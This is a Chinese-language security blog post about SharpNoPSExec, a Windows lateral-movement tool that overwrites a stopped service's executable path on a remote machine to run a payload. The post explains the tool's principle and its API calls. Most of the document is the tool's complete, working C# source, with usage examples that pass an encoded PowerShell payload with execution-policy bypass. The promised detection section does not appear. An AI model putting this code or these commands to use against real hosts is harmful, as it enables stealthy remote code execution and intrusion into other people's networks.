Twitter上看到新的横移工具,无需创建服务、无需文件落地,远比PsExec来的难以检测,我们针对这一工具进行原理分析、代码分析、优缺点评估以及检测方案:
Windows服务中,每一服务都有一个可执行文件路径,这个地方可以替换成命令进行命令执行,而且这个可以远程管理,当然这里肯定需要管理员权限,不然就成了RCE漏洞了。
我们可以远程写代码去寻找到一个处于不启动、需要手动启动,没有其他依赖关系的服务,改变这个可执行文件路径,从而执行我们的命令。
先介绍一下几个关键函数
SC_HANDLE OpenSCManagerW(
LPCWSTR lpMachineName,
LPCWSTR lpDatabaseName,
DWORD dwDesiredAccess
);
小贴士:如果第一个参数填写的是对端也就是横移目标的IP地址或机器名,需要首先在运行程序以前建立一个管理员权限,不仅仅需要知道账号密码,如何建立呢,答案也简单,建立一个共享映射
net use \\xx.xx.xx.xx\c$ "password" /user:username
然后调用两个函数LogonUserA进行凭据认证,然后进行权限模拟,还是调用我们的老朋友:ImpersonateLoggedOnUser。该函数允许用户模拟其他用户的权限进行一些操作。
函数原型:
BOOL ChangeServiceConfigA(
SC_HANDLE hService,
DWORD dwServiceType,
DWORD dwStartType,
DWORD dwErrorControl,
LPCSTR lpBinaryPathName,
LPCSTR lpLoadOrderGroup,
LPDWORD lpdwTagId,
LPCSTR lpDependencies,
LPCSTR lpServiceStartName,
LPCSTR lpPassword,
LPCSTR lpDisplayName
);
当然需要先导入函数:
[DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType,
int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup,
string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword,
string lpDisplayName);
修改举例:
string payload = "notepad.exe";
bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null,
null, null, null, null);
函数原型:
BOOL StartServiceA(
SC_HANDLE hService,
DWORD dwNumServiceArgs,
LPCSTR *lpServiceArgVectors
);
登录用户 —–> 打开远程服务 —–> 设置服务执行程序为我们的 payload —–> 开启服务
然后给出源代码
using System;
using System.ComponentModel;
using System.Runtime.InteropServices;
using System.ServiceProcess;
using System.Threading;
namespace SharpNoPSExec
{
class ProgramOptions
{
/*参数类,主要就是用来获取命令行参数*/
public string target;
public string username;
public string password;
public string payload;
public string service;
public string domain;
public ProgramOptions(string uTarget = "", string uPayload = "", string uUsername = "", string uPassword = "", string uService = "", string uDomain = ".")
{
target = uTarget;
username = uUsername;
password = uPassword;
payload = uPayload;
service = uService;
domain = uDomain;
}
}
class Program
{
[StructLayout(LayoutKind.Sequential)]
private struct QUERY_SERVICE_CONFIG
{
public uint serviceType;
public uint startType;
public uint errorControl;
public IntPtr binaryPathName;
public IntPtr loadOrderGroup;
public int tagID;
public IntPtr dependencies;
public IntPtr startName;
public IntPtr displayName;
}
public struct ServiceInfo
{
public uint serviceType;
public uint startType;
public uint errorControl;
public string binaryPathName;
public string loadOrderGroup;
public int tagID;
public string dependencies;
public string startName;
public string displayName;
public IntPtr serviceHandle;
}
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern Boolean ChangeServiceConfig(/*导入关键函数,下面的导入函数不在一一分析*/
IntPtr hService,
UInt32 nServiceType,
UInt32 nStartType,
UInt32 nErrorControl,
String lpBinaryPathName,
String lpLoadOrderGroup,
IntPtr lpdwTagId,
String lpDependencies,
String lpServiceStartName,
String lpPassword,
String lpDisplayName);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern IntPtr OpenService(
IntPtr hSCManager,
string lpServiceName,
uint dwDesiredAccess);
[DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
public static extern IntPtr OpenSCManager(
string machineName,
string databaseName,
uint dwAccess);
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern Boolean QueryServiceConfig(
IntPtr hService,
IntPtr intPtrQueryConfig,
UInt32 cbBufSize,
out UInt32 pcbBytesNeeded);
[DllImport("advapi32", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool StartService(
IntPtr hService,
int dwNumServiceArgs,
string[] lpServiceArgVectors);
[DllImport("advapi32.dll")]
public static extern bool LogonUserA(
string lpszUsername,
string lpszDomain,
string lpszPassword,
int dwLogonType,
int dwLogonProvider,
ref IntPtr phToken
);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
private const uint SERVICE_NO_CHANGE = 0xFFFFFFFF;
private const uint SERVICE_DEMAND_START = 0x00000003;
private const uint SERVICE_DISABLED = 0x00000004;
private const uint SC_MANAGER_ALL_ACCESS = 0xF003F;
enum LOGON_TYPE
{
LOGON32_LOGON_INTERACTIVE = 2,
LOGON32_LOGON_NETWORK = 3,
LOGON32_LOGON_BATCH = 4,
LOGON32_LOGON_SERVICE = 5,
LOGON32_LOGON_UNLOCK = 7,
LOGON32_LOGON_NETWORK_CLEARTEXT = 8,
LOGON32_LOGON_NEW_CREDENTIALS = 9
}
public enum LOGON_PROVIDER
{
/// <summary>
/// Use the standard logon provider for the system.
/// The default security provider is negotiate, unless you pass NULL for the domain name and the user name
/// is not in UPN format. In this case, the default provider is NTLM.
/// NOTE: Windows 2000/NT: The default security provider is NTLM.
/// </summary>
LOGON32_PROVIDER_DEFAULT = 0,
LOGON32_PROVIDER_WINNT35 = 1,
LOGON32_PROVIDER_WINNT40 = 2,
LOGON32_PROVIDER_WINNT50 = 3
}
public static ServiceInfo GetServiceInfo(string ServiceName, IntPtr SCMHandle)
{
/*定义一个服务信息查询函数,用来查询服务的基本状态,方便进行筛选和事后恢复*/
Console.WriteLine($" |-> Querying service {ServiceName}");
ServiceInfo serviceInfo = new ServiceInfo();
try
{
IntPtr serviceHandle = OpenService(SCMHandle, ServiceName, 0xF01FF);
uint bytesNeeded = 0;
QUERY_SERVICE_CONFIG qsc = new QUERY_SERVICE_CONFIG();
IntPtr qscPtr = IntPtr.Zero;
bool retCode = QueryServiceConfig(serviceHandle, qscPtr, 0, out bytesNeeded);
if (!retCode && bytesNeeded == 0)
{
throw new Win32Exception();
}
else
{
qscPtr = Marshal.AllocCoTaskMem((int)bytesNeeded);
retCode = QueryServiceConfig(serviceHandle, qscPtr, bytesNeeded, out bytesNeeded);
if (!retCode)
{
throw new Win32Exception();
}
qsc.binaryPathName = IntPtr.Zero;
qsc.dependencies = IntPtr.Zero;
qsc.displayName = IntPtr.Zero;
qsc.loadOrderGroup = IntPtr.Zero;
qsc.startName = IntPtr.Zero;
qsc = (QUERY_SERVICE_CONFIG)Marshal.PtrToStructure(qscPtr, typeof(QUERY_SERVICE_CONFIG));
}
serviceInfo.binaryPathName = Marshal.PtrToStringAuto(qsc.binaryPathName);
serviceInfo.dependencies = Marshal.PtrToStringAuto(qsc.dependencies);
serviceInfo.displayName = Marshal.PtrToStringAuto(qsc.displayName);
serviceInfo.loadOrderGroup = Marshal.PtrToStringAuto(qsc.loadOrderGroup);
serviceInfo.startName = Marshal.PtrToStringAuto(qsc.startName);
serviceInfo.errorControl = qsc.errorControl;
serviceInfo.serviceType = qsc.serviceType;
serviceInfo.startType = qsc.startType;
serviceInfo.tagID = qsc.tagID;
serviceInfo.serviceHandle = serviceHandle; // Return service handler
Marshal.FreeHGlobal(qscPtr);
}
catch (Exception)
{
string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message;
Console.WriteLine("\n[!] GetServiceInfo failed. Error: {0}", errorMessage);
Environment.Exit(0);
}
return serviceInfo;
}
public static void PrintBanner()
{
Console.WriteLine(@"
███████╗██╗ ██╗ █████╗ ██████╗ ██████╗ ███╗ ██╗ ██████╗ ██████╗ ███████╗███████╗██╗ ██╗███████╗ ██████╗
██╔════╝██║ ██║██╔══██╗██╔══██╗██╔══██╗████╗ ██║██╔═══██╗██╔══██╗██╔════╝██╔════╝╚██╗██╔╝██╔════╝██╔════╝
███████╗███████║███████║██████╔╝██████╔╝██╔██╗ ██║██║ ██║██████╔╝███████╗█████╗ ╚███╔╝ █████╗ ██║
╚════██║██╔══██║██╔══██║██╔══██╗██╔═══╝ ██║╚██╗██║██║ ██║██╔═══╝ ╚════██║██╔══╝ ██╔██╗ ██╔══╝ ██║
███████║██║ ██║██║ ██║██║ ██║██║ ██║ ╚████║╚██████╔╝██║ ███████║███████╗██╔╝ ██╗███████╗╚██████╗
╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝ ╚═════╝
Version: 0.0.2
Author: Julio Ureña (PlainText)
Twitter: @juliourena
");
}
public static void PrintHelp()
{
Console.WriteLine(@"Usage:
SharpNoPSExec.exe --target=192.168.56.128 --payload=""c:\windows\system32\cmd.exe /c powershell -exec bypass -nop -e ZQBjAGgAbwAgAEcAbwBkACAAQgBsAGUAcwBzACAAWQBvAHUAIQA=""
Required Arguments:
--target= - IP or machine name to attack.
--payload= - Payload to execute in the target machine.
Optional Arguments:
--username= - Username to authenticate to the remote computer.
--password= - Username's password.
--domain= - Domain Name, if no set a dot (.) will be used instead.
--service= - Service to modify to execute the payload, after the payload is completed the service will be restored.
Note: If not service is specified the program will look for a random service to execute.
Note: If the selected service has a non-system account this will be ignored.
--help - Print help information.
");
}
static void Main(string[] args)
{
/*主函数开始*/
// example from https://github.com/s0lst1c3/SharpFinder
ProgramOptions options = new ProgramOptions();
foreach (string arg in args)//遍历参数
{
if (arg.StartsWith("--target="))
{
string[] components = arg.Split(new string[] { "--target=" }, StringSplitOptions.None);
options.target = components[1];
}
else if (arg.StartsWith("--payload="))
{
string[] components = arg.Split(new string[] { "--payload=" },StringSplitOptions.None);
options.payload = components[1];
}
else if (arg.StartsWith("--username="))
{
string[] components = arg.Split(new string[] { "--username=" }, StringSplitOptions.None);
options.username = components[1];
}
else if (arg.StartsWith("--password="))
{
string[] components = arg.Split(new string[] { "--password=" }, StringSplitOptions.None);
options.password = components[1];
}
else if (arg.StartsWith("--domain="))
{
string[] components = arg.Split(new string[] { "--domain=" }, StringSplitOptions.None);
options.domain = components[1];
}
else if (arg.StartsWith("--service="))
{
string[] components = arg.Split(new string[] { "--service=" }, StringSplitOptions.None);
options.service = components[1];
}
else if (arg.StartsWith("--help"))
{
PrintBanner();
PrintHelp();
Environment.Exit(0);
}
else
{
Console.WriteLine("[!] Invalid flag: " + arg);
return;
}
}
string username = null;
string password = null;
string domain = null;
bool result = false;
if (!String.IsNullOrEmpty(options.username) && !String.IsNullOrEmpty(options.password))
{
IntPtr phToken = IntPtr.Zero;
username = options.username;
password = options.password;
domain = options.domain;
result = LogonUserA(username, domain, password, (int)LOGON_TYPE.LOGON32_LOGON_NEW_CREDENTIALS, (int)LOGON_PROVIDER.LOGON32_PROVIDER_DEFAULT, ref phToken);//凭据认证
if (!result)
{
string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message;
Console.WriteLine("[!] LogonUser failed. Error: {0}", errorMessage);
Environment.Exit(0);
}
result = ImpersonateLoggedOnUser(phToken);//模拟权限
if (!result)
{
string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message;
Console.WriteLine("[!] ImpersonateLoggedOnUser failed. Error:{0}", errorMessage);
Environment.Exit(0);
}
}
if (options.target == "" || options.payload == "")
{
PrintBanner();
PrintHelp();
Environment.Exit(0);
}
string target = options.target;
try
{
Console.WriteLine($"\n[>] Open SC Manager from {target}.");
IntPtr SCMHandle = OpenSCManager(options.target, null, SC_MANAGER_ALL_ACCESS);//打开服务管理游标
if (SCMHandle == IntPtr.Zero)
{
string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message;
Console.WriteLine("[!] OpenSCManager failed. Error: {0}", errorMessage);
Environment.Exit(0);
}
// Open Connection to the remote machine and get all services
Console.WriteLine($"\n[>] Getting services information from {target}.");
ServiceController[] services = ServiceController.GetServices(target);
ServiceInfo serviceInfo = new ServiceInfo();
if (options.service == "")
{
Console.WriteLine($"\n[>] Looking for a random service to execute our payload.");
Random r = new Random();
for (int i = 0; i < services.Length; i++)//随机获取服务进行判断
{
int value = r.Next(0, services.Length);
// Check some values to select a service to use to trigger our paylaod
if (services[value].StartType == ServiceStartMode.Disabled && services[value].Status == ServiceControllerStatus.Stopped && services[value].ServicesDependedOn.Length == 0)//ServiceStartMode.Disabled禁用的服务 ServiceControllerStatus.Stopped目前状态是停止的服务
{
serviceInfo = GetServiceInfo(services[value].ServiceName, SCMHandle);
if (serviceInfo.startName.ToLower() == "localsystem")
{
Console.WriteLine($" |-> Service {services[value].ServiceName} authenticated as {serviceInfo.startName}.");
break;
}
}
}
serviceInfo = new ServiceInfo();
// If not service was found search for services with start mode manual, stopped without dependencies.
if (serviceInfo.displayName == null)
{
for (int i = 0; i < services.Length; i++)
{
int value = r.Next(0, services.Length);
// Check some values to select a service to use to trigger our paylaod (Manual Services)
if (services[value].StartType == ServiceStartMode.Manual && services[value].Status == ServiceControllerStatus.Stopped && services[value].ServicesDependedOn.Length == 0)//ServiceStartMode.Manual手动启动的服务
{
serviceInfo = GetServiceInfo(services[value].ServiceName, SCMHandle);
if (serviceInfo.startName.ToLower() == "localsystem")
{
Console.WriteLine($" |-> Service {services[value].ServiceName} authenticated as {serviceInfo.startName}.");
break;
}
}
}
}
if (serviceInfo.displayName == "")
{
Console.WriteLine($"[!] No service found that met the default conditions, please select the service to run.");
Environment.Exit(0);
}
}
else
{
Console.WriteLine($"\n[>] Checking if service {options.service} exists.");
bool found = false;
// Check if --server=value exits.
foreach (var service in services)
{
if (service.ServiceName == options.service)
found = true;
}
if (found)
{
serviceInfo = GetServiceInfo(options.service, SCMHandle);//查询服务信息
if (serviceInfo.startName.ToLower() == "localsystem")
{
Console.WriteLine($" |-> Service {options.service} authenticated as {serviceInfo.startName}.");
}
else
{
Console.WriteLine($"\n[!] The service {options.service} is authenticated {serviceInfo.displayName} aborting to not lose the account.");
Environment.Exit(0);
}
}
else
{
Console.WriteLine($" |-> Service not found {options.service}.");
Environment.Exit(0);
}
}
string previousImagePath = serviceInfo.binaryPathName;
Console.WriteLine($"\n[>] Setting up payload.");
string payload = options.payload;
Console.WriteLine($" |-> payload = {payload}");
Console.WriteLine($" |-> ImagePath previous value = {previousImagePath}.");
// Modify the service with the payload
Console.WriteLine($" |-> Modifying ImagePath value with payload.");
result = ChangeServiceConfig(serviceInfo.serviceHandle, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, payload, null, IntPtr.Zero, null, null, null, null);//修改可执行文件路径
if (!result)
{
string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message;
Console.WriteLine("[!] ChangeServiceConfig failed. Error: {0}", errorMessage);
Environment.Exit(0);
}
Console.WriteLine($"\n[>] Starting service {serviceInfo.displayName} with new ImagePath.");
result = StartService(serviceInfo.serviceHandle, 0, null);//启动服务
//if(!result)
//Console.WriteLine($" |-> Possible command execution completed.");
// Wait 5 seconds before restoring the values
Console.WriteLine($"\n[>] Waiting 5 seconds to finish.");
Thread.Sleep(5000);
Console.WriteLine($"\n[>] Restoring service configuration.");
result = ChangeServiceConfig(serviceInfo.serviceHandle, SERVICE_NO_CHANGE, serviceInfo.startType, 0, previousImagePath, null, IntPtr.Zero, null, serviceInfo.startName, null, null);//复原原来的可执行文件路径避免引起问题
if (!result)
{
string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message;
Console.WriteLine("[!] ChangeServiceConfig failed. Error: {0}", errorMessage);
Environment.Exit(0);
}
else
{
Console.WriteLine($" |-> {serviceInfo.displayName} Log On => {serviceInfo.startName}.");
Console.WriteLine($" |-> {serviceInfo.displayName} status => {serviceInfo.startType}.");
Console.WriteLine($" |-> {serviceInfo.displayName} ImagePath => {previousImagePath}");
}
}
catch (Exception ex)
{
Console.WriteLine("\n[!] General Error: {0}\n", ex.Message);
}
}
}
}
.\SharpNoPSExec.exe --target=xx.xx.xx.xx --payload="c:\windows\system32\cmd.exe /c powershell -nop ..."
案例一 上线
案例二 远程执行命令